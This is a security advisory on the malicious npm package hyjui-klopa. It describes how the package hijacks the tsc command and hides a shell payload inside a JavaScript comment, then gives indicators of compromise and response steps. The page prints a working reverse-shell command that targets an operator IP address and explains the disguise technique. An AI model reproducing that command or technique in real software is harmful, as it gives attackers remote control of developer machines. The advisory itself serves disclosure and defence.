hyjui-klopanpm
Advisory published Updated
hyjui-klopa is a confirmed malicious npm package (MAL-2026-20606) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in hyjui-klopa (npm)
What this malware does
hyjui-klopa is part of the Ghost Compiler campaign, a cluster of npm packages published by the account jikaya497 ([email protected]) between October and November 2026. The weaponized packages in this campaign register themselves as tsc, the TypeScript compiler command, and hide their payload in a file that reads as a JavaScript comment but runs as a shell script.
How it executes: package.json maps bin.tsc to ./index.js, so installing the package links node_modules/.bin/tsc to that file. Whichever package is installed last owns that link, so installing hyjui-klopa after typescript replaces the real compiler. index.js has no shebang line and is marked executable (mode 0755). When a build script, CI step, editor or pre-commit hook runs tsc, the kernel cannot execute the file directly and the shell falls back to interpreting it as a shell script. The command substitution inside what a reviewer reads as a JavaScript comment then runs.
Payload: the comment is disguised as Sentry error-reporting settings (sentry_server=194.163.166.19; protocol=tcp; team=dev; members_id=4445; default=sh) and expands to sh -i >& /dev/tcp/194.163.166.19/4445 0>&1. This connects an interactive shell, running as the user who ran the build, to the operator's host, giving the operator full control of the developer machine or CI runner. The package also ships a two-line .ls script (id>a) used as a capability probe elsewhere in the campaign.
Infrastructure: 194.163.166.19 is the operator's command-and-control host. It also serves a self-hosted npm registry on port 4873 (web.vitemaweed.fr) that other packages from the same publisher pin their dependencies to, and the same reverse-shell command appears encrypted inside the publisher's package juyip-parser-helper.
Indicators: node_modules/.bin/tsc resolving to any package other than typescript; outbound TCP connections to 194.163.166.19 on ports 4445 or 4873; a bin-exposed .js file with no shebang and mode 0755.
Any machine that installed this package and then ran tsc should be treated as compromised: rotate all credentials reachable from that user or CI job and rebuild the host.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for hyjui-klopa (version 1.0.0).
If you installed it — respond
hyjui-klopa is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If hyjui-klopa was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks hyjui-klopa-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.